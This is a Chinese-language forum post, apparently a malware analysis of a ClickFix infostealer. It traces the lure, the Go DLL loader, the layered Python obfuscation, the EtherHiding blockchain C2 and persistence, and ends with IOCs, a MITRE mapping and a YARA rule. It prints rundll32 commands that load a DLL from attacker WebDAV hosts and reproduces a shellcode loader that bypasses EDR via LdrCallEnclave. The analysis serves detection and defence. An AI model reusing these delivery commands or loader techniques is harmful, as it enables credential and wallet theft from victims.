-
-
[原创]ClickFix 多阶段信息窃取样本深度分析
-
发表于: 2小时前 67
-
0. 前言
这篇文章记录了笔者对一个 ClickFix 样本的完整分析过程,当然也包括了笔者还没有分析出来的部分。
该样本通过 WEB 页面传播,其通过弹出伪 reCAPTCHA 验证框,引导用户去执行了 PowerShell 命令,如下图所示:

这个样本的对抗性设计其实有点超出笔者的预期,其用到了 garble 混淆的 Go DLL、多层的 Python 脱壳、以及自解密 shellcode、EtherHiding 区块链 C2 等等技术实现隐藏并逃避分析检测。
1. 初始感染
1.1 攻击场景
ClickFix 也是一种近年来流行的社会工程学攻击手法。攻击者通过在正常网页中注入恶意广告,广告页面伪装为 Google reCAPTCHA 验证页面,诱导用户直接执行恶意指令:

例如在这个样本里,其要求用户执行以下操作:
- 按 Win+R 打开运行对话框
- 按 Ctrl+V 粘贴其写入的指令
- 按回车执行
1.2 实际执行的命令
其页面实际向剪贴板注入的命令是:
rundll32.exe \\term4logicway.centenary-kurgan.bet\software-distribution-dxnp2c7\meta-verify.index,#1
这条命令通过 WebDAV 协议从远程服务器加载 DLL 并执行。显然, meta-verify.index 即为伪装成系统验证文件的样本,用 #1 指定导出函数序号执行。
2. Stage 1:meta-verify.index 静态分析
2.1 样本基础信息
该前置样本,也就是 meta-verify.index 文件基础信息如下:
| 字段 | 值 |
|---|---|
| 文件名 | meta-verify.index |
| 大小 | 5,193,728 bytes (~5MB) |
| 类型 | PE32+ DLL (x86-64) |
| MD5 | cb974e6f8c508b73e7cf061fb185af89 |
| SHA-1 | b59152c36a856dbfcb0140548f613433192b9f51 |
| SHA-256 | cb2e02747ad64b3df49cff3dc5bff9563f31309dd9ebfb9832dd979c38a1aecf |
| 编译时间 | 2025-09-01 12:28:39 UTC |
| 编译器 | Mingw-w64 + Go 1.22+ |
| 混淆器 | garble (-tiny -literals) |
| 是否签名 | 否 |
| 是否加壳 | 否(各节区熵值正常) |
节区熵值如下:
| 节区 | 虚拟地址 | 熵值 | 属性 |
|---|---|---|---|
| .text | 0x1000 | 6.60 | RX |
| .rdata | 0x254000 | 5.60 | R |
| .data | 0x4bf000 | 3.91 | RW |
| .pdata | 0x53a000 | 5.51 | R |
| .tls | 0x54c000 | 0.00 | RW |
单纯从熵值来看,基本正常。
2.2 识别混淆
当时笔者也没多想,直接就丢进了 IDA Pro,但是发现做了混淆,基本没发现什么有用的信息。看到字符串的排布方式,大概就明白了,这个是用了 garble 混淆的 GO 语言样本:
最后用 GoReSym 分析后得到了下面的信息,可以供大家参考:
- Go 版本:1.21+/1.22+
- 用户函数:4554 个
- 标准库函数:1848 个
- 包名乱码
推测是用 garble -tiny 方式删除了所有符号信息,用了 -literals 把字符串拆散成字节常量放到栈上拼接,导致静态扫描工具无法提取有意义的字符串。
2.3 调用链追踪
在 IDA Pro 中分析导出表,找到 ordinal #1 对应的 RtlUpdateDescriptor,显然这个名字也是为了伪装为合法 API 名:
// 导出函数入口
__int64 RtlUpdateDescriptor() {
__int64 v0 = sub_1802524F0(); // Go runtime 初始化
sub_18008BD80( // runtime.newproc,创建 goroutine
sub_180252060, // goroutine 函数指针
&v2, 0, v0
);
return sub_180252290(v0); // runtime.mstart,启动调度器
}
继续追踪到攻击者的入口 sub_180246220:
void sub_180246220() {
sub_180250780();
sub_180244D60();
sub_180246520();
sub_180244D60();
if (dword_180535A30) {
sub_1800755C0(v4);
}
sub_180247180();
sub_18004A140();
sub_18023FCC0();
}
具体的函数内容,笔者没有深入进去分析,因为都经过了混淆。分析这个耗费的时间成本过高。
2.4 API 哈希解析
继续分析下去,该样本不直接导入敏感 API,而是在运行时通过哈希查找,这也是常用的一种检测逃逸方法了。其从 .rdata 段提取到明文 API 列表(garble 将字符串拼接数据误放在了一个被 IDA 错误识别为 pclmulqdqmathR 的数据块中):
# DLL
dnsapi.dll / ws2_32.dll / dwmapi.dll / user32.dll
# 关键 API
DnsQuery_W → DNS查询,解析C2/区块链节点
WSAStartup/WSASocketW → 网络初始化
OpenMutexW → 防多实例运行
CreatePipe → 管道通信,Stage1↔Stage2数据传递
OpenEventW/PulseEvent → 进程间同步
LockFileEx → 独占访问目标文件
CryptUnprotectData → DPAPI解密(浏览器密码)
CreatePipe + OpenEvent + PulseEvent 的组合解释了为什么后续动态分析的进程树中出现了两个 rundll32——Stage 1 和 Stage 2 之间是通过命名管道和事件对象进行同步通信。
3. 动态分析:Stage 1
3.1 进程树
笔者分析到这里,感觉静态分析已经进行不太下去了,就上了ANY.RUN,一开始的分析时间是不够的,所以没有发现任何实际行为。笔者在用完了 ANY.RUN 的样本分析延时后,跑了大概 5 分钟左右吧,得到了其完整的进程拓扑如下: 
rundll32.exe (meta-verify.index,#1)
├── dllhost.exe (PID 4480)
└── rundll32.exe (PID 1032)
├── chrome.exe (PID 7964) ← 强制启动浏览器提取凭据
├── msedge.exe (PID 3748)
├── dllhost.exe (PID 7960) [DMP] ← 内存转储
└── ngep.exe (PID 6520) [etherhiding] ← 真正的 stealer
这个时候其实行为已经很清晰了。
3.2 落地文件
笔者后来也在虚拟机里面手动跑了一下,发现 Stage 1 将完整的 Python 运行环境释放到了伪装成 Firefox 扩展的目录,由于笔者虚拟机里只装了 Firefox,根据 ANY.RUN 跑出来的结果来看,应该是自动扫描适配系统内的浏览器的。具体的落地文件夹如下:
C:\Users\[用户名]\AppData\Roaming\Mozilla\Extensions\c89de6f9.default-release\
ngep.exe (103KB) stealer 主程序
node_modules.asar (950KB) Python payload(混淆)
python315.dll (7042KB) Python 3.15 解释器
python315.zip (4547KB) Python 标准库
sqlite3.dll (1548KB) 读取浏览器数据库
vcruntime140.dll (118KB) VS2022 运行库
python.cat (600KB) 数字签名目录(伪装合法)
libffi-8.dll (39KB) ctypes 依赖
... 共 19 个文件
当然,攻击者选择 Mozilla\Extensions 目录显然也是刻意的,因为这个路径在许多安全产品的白名单里,可以在一定程度上降低触发扫描的概率。
3.3 注册表持久化
跑分析的时候监测到了其通过注册表持久化了 payload,地址如下:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Prism Broker Panams 70673
值:"C:\Users\[用户名]\AppData\Roaming\Mozilla\Extensions\c89de6f9.default-release\ngep.exe"
"C:\Users\[用户名]\AppData\Roaming\Mozilla\Extensions\c89de6f9.default-release\node_modules.asar"
需要注意的是启动项指向的不是单纯的 ngep.exe,其加上了下发的落地 Payload "node_modules.asar" 文件作为参数。 
4. Stage 2:多层 Python 混淆脱壳
这个也是是整个分析过程中最耗时的部分,前面我们基本上已经清晰了,其最终就是由启动器 ngep.exe 结合实际 Payload node_modules.asar 来执行具体的恶意行为的,所以这部分笔者就主要去关注了一下 node_modules.asar,不看不知道,发现这个 Payload 用了多层的混淆技术。
4.1 第一层:hex 编码
笔者打开样本的时候发现 node_modules.asar 看起来就是一个混淆过的 Python 脚本:
import binascii
exec(binascii.a2b_hex("".join([
'66726f6d-2062-6173-6536-3420696d706f',
'72742062-3634-6465-636f-64650a66726f',
...
])))
所有 hex 字符串中间插入了连字符,这么做也是为了绕过简单的 hex 字符串检测。
4.2 第二层:自定义解密函数
由于这个脚本有点大了,所以笔者直接将脚本内 exec 替换成了 print 函数去快速解码内容,hex 解码后就来到第二层的加密混淆:
from base64 import b64decode, b85decode
def get_option(data):
return zlib.decompress(
b64decode(data[::-1]) # 反转后 base64 解码,再 zlib 解压
)
其实这段代码也就是表示了其通过 get_option 函数将参数字符串反转后做 base64 解码,再用 zlib 解压。这是一个简单但有效的混淆手段,可以绕过大部分自动化沙箱的字符串提取。
4.3 第三层:zlib 压缩 + base64
第二层函数负责处理一个约 4KB 的 base64 字符串,解压后就得到第三层代码。
4.4 第四层:shellcode 加载器
经历了这么4层的混淆,最终解出来的流程如下(由于实际 shellcode 比较大,这里省略了,其放在了 hkhpreyud 变量内):
import ctypes
def SC_getPage(shellcode):
buffer = (ctypes.c_char * len(shellcode)).from_buffer_copy(shellcode)
ptr = ctypes.cast(buffer, ctypes.c_void_p)
old_protect = ctypes.c_ulong()
# 设置内存为 PAGE_EXECUTE_READWRITE (0x40)
ctypes.windll.kernel32.VirtualProtect(
ptr, len(shellcode), 0x40, ctypes.byref(old_protect)
)
return int(ctypes.addressof(buffer))
def SC_exec(addrPtr):
# 通过 LdrCallEnclave 执行 shellcode,以此绕过 EDR
ctypes.WinDLL("ntdll").LdrCallEnclave(
LPENCLAVE_ROUTINE(addrPtr),
ctypes.c_uint32(0),
ctypes.byref(ctypes.c_void_p())
)
def run():
sleep(5) # 延迟执行,规避沙箱检测
hkhpreyud = b"\x90" * 118 + [229460字节的shellcode]
addr = SC_getPage(hkhpreyud)
SC_exec(addr)
这里面有两个关键的东西:
VirtualProtect(0x40) — 将内存页设置为可读可写可执行,是 shellcode 注入的标准前置步骤。
LdrCallEnclave — 这个方法很有意思,这是 Intel SGX enclave 的调用接口,很多时候被高级恶意软件拿来滥用执行 shellcode。相比 CreateThread 等常见方式,LdrCallEnclave 不在大多数 EDR 的监控列表里,是一种较新的绕过手法。感兴趣的老师可以看一下:Run shellcode using LdrCallEnclave
4.5 脱壳过程
随后笔者写了一个自动脱壳脚本,去 Hook Python 的 exec、b64decode、zlib.decompress 等关键函数,让恶意代码自行完成解密后截取结果。最后得到了一个 229KB 的 shellcode。
5. shellcode 分析
5.1 基本信息
- 大小:229,460 字节
- NOP sled:118 字节(0x90 * 118)
- 代码入口:offset 0x76
- 结构:两阶段(明文加载器 + 加密 payload)
5.2 静态分析结果
笔者把这个 shellcode 在 Ghidra 中手动反汇编,识别出 5 个函数:
FUN_00000076 入口(调用解密器)
FUN_00000096 核心解密循环
FUN_000000f9 初始化
FUN_00000120 辅助函数
FUN_00000188 主逻辑(含大量 Ghidra 警告)
FUN_00000096 的核心是一个自定义 XOR 解密循环:
LAB_000000af:
ADD RAX, RCX
ADD RCX, 1
LEA RAX, [RAX+1]
SUB RAX, RCX
CMP RCX, RDI
JNZ LAB_000000af
XOR RDX, RCX
DEC RAX
MOV byte [RDX], AL
XOR RDX, RDI
ADD RBX, 1
CMP RBX, RSI
JNZ LAB_000000af
JMP RDX
shellcode 的后续内容(约 229KB)是加密状态,静态分析无法还原出来。字符串也均为混淆的状态,看不到明文 API 名或者路径等其他信息。
5.3 执行失败备注
笔者在分析 VM 中尝试动态运行时,WinDbg 提示崩溃,笔者看了一下:
EXCEPTION_CODE: 0xc0000005 (Access Violation)
FAULTING_IP: kernel32!GetModuleHandleAStub
FAILURE_BUCKET_ID: SOFTWARE_NX_FAULT_INVALID_POINTER_EXECUTE_CODE
发现 shellcode 在尝试调用 GetModuleHandleA("kernel32.dll") 解析 API 地址时,因 DEP 触发了异常。笔者手动关了 DEP 后还是一样,推测是不是 shellcode 内部还包含虚拟机或者沙箱检测逻辑?
所以笔者备注一下,shellcode 内部完整逻辑有待进一步动态分析,各位老师感兴趣也可以试试看。
6. C2:EtherHiding
6.1 EtherHiding
EtherHiding 就是一种将 C2 指令隐藏在区块链交易数据中的技术。攻击者通过将加密的 C2 配置写入智能合约,恶意软件通过查询区块链节点读取指令。
通过这种方式的优势就在于区块链数据不可删除,而且难以溯源。
其实分析到这里,笔者就知道这个样本不可小觑了。
6.2 ANY.RUN 告警
网络告警如下: 
196.46s ngep.exe
ET INFO 在TLS SNI中观察到的智能域名 bsc-dataseed.bnbchain.org(币安智能链节点)
237.09s ngep.exe
ET MALWARE EtherHiding Exfil M2 ,也就是命中了 EtherHiding 数据外传特征
6.3 C2 基础设施
最后笔者就主要找到下面这三个 C2 基础设施,各位老师可以参考:
- 初始载体域名:term4logicway.centenary-kurgan.bet
- Stage 2 下载:mediafire.com
- 区块链 C2:bsc-dataseed.bnbchain.org
有意思的是,在笔者分析期间,攻击者貌似已经将投递指令更换为:
\\prime.longwave5hot.surf\9fd51fb7-b3ad-4c8f-bf05-b5423d14e06c\user_6747.google,run
至于文件名中的 user_6747,笔者也说不太好,可能是单独的ID标记,当然也有可能就是写死的而已。
7. MITRE ATT&CK 映射
战术映射如下,供各位老师参考:
| 战术 | 技术 | 来源 |
|---|---|---|
| Initial Access | T1189 Drive-by Compromise | 静态分析 |
| Execution | T1218.011 Rundll32 | 静态分析 |
| Execution | T1204.004 Malicious Copy and Paste | 静态分析 |
| Execution | T1059.006 Python | ANY.RUN |
| Defense Evasion | T1027 Obfuscated Files | 静态分析 |
| Defense Evasion | T1027.007 Dynamic API Resolution | 静态分析 |
| Defense Evasion | T1562.002 Disable Windows Event Logging | ANY.RUN |
| Credential Access | T1552.001 Credentials In Files | ANY.RUN |
| Persistence | T1547.001 Registry Run Keys | Procmon |
| C2 | T1071.001 Web Protocols | ANY.RUN |
8. IOC
笔者最后总结一下我发现的 IOC 吧,供大家参考:
文件指标
# meta-verify.index (Stage 1 Loader)
MD5 cb974e6f8c508b73e7cf061fb185af89
SHA-1 b59152c36a856dbfcb0140548f613433192b9f51
SHA-256 cb2e02747ad64b3df49cff3dc5bff9563f31309dd9ebfb9832dd979c38a1aecf
大小 5,193,728 bytes
网络指标
# 投递域名
term4logicway[.]centenary-kurgan[.]bet
# Stage 2 下载
mediafire[.]com
# 区块链 C2
bsc-dataseed[.]bnbchain[.]org
主机指标
# 落地目录(这个应该是会变化的)
%APPDATA%\Mozilla\Extensions\c89de6f9.default-release\
# 持久化注册表键
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Prism Broker Panams 70673
# 关键落地文件
%APPDATA%\Mozilla\Extensions\c89de6f9.default-release\ngep.exe
%APPDATA%\Mozilla\Extensions\c89de6f9.default-release\node_modules.asar
行为特征
# YARA
rule ClickFix_Go_Loader_2026 {
meta:
description = "ClickFix Go DLL Loader with garble obfuscation"
hash = "cb2e02747ad64b3df49cff3dc5bff9563f31309dd9ebfb9832dd979c38a1aecf"
strings:
$go_build = "Go build"
$export = "RtlUpdateDescriptor"
$dll_name = "soholuqu.dl"
condition:
uint16(0) == 0x5A4D and
filesize < 6MB and
all of them
}
最后笔者总结一下目前发现的攻击链:
ClickFix 社工注入
↓
rundll32 + WebDAV 加载 Go DLL
↓ (garble混淆 + API哈希)
从 Mediafire 下载 Stage 2
↓
释放 Python 环境到 Mozilla\Extensions\
写注册表持久化
↓ (4层Python混淆)
node_modules.asar → shellcode
↓ (LdrCallEnclave 绕EDR)
连接币安智能链读取 C2 指令
↓ (EtherHiding)
窃取浏览器凭据、Cookie、加密钱包等等
数据外传
其实坦白来说,笔者也还没有将 shellcode 的内部逻辑完全还原。229KB 的加密 payload 在静态分析下面也没找到有用的线索,动态运行的时候还会崩溃。所以如果各位老师有什么好的建议和想法也欢迎尝试,将这个样本完整分析出来(infected)。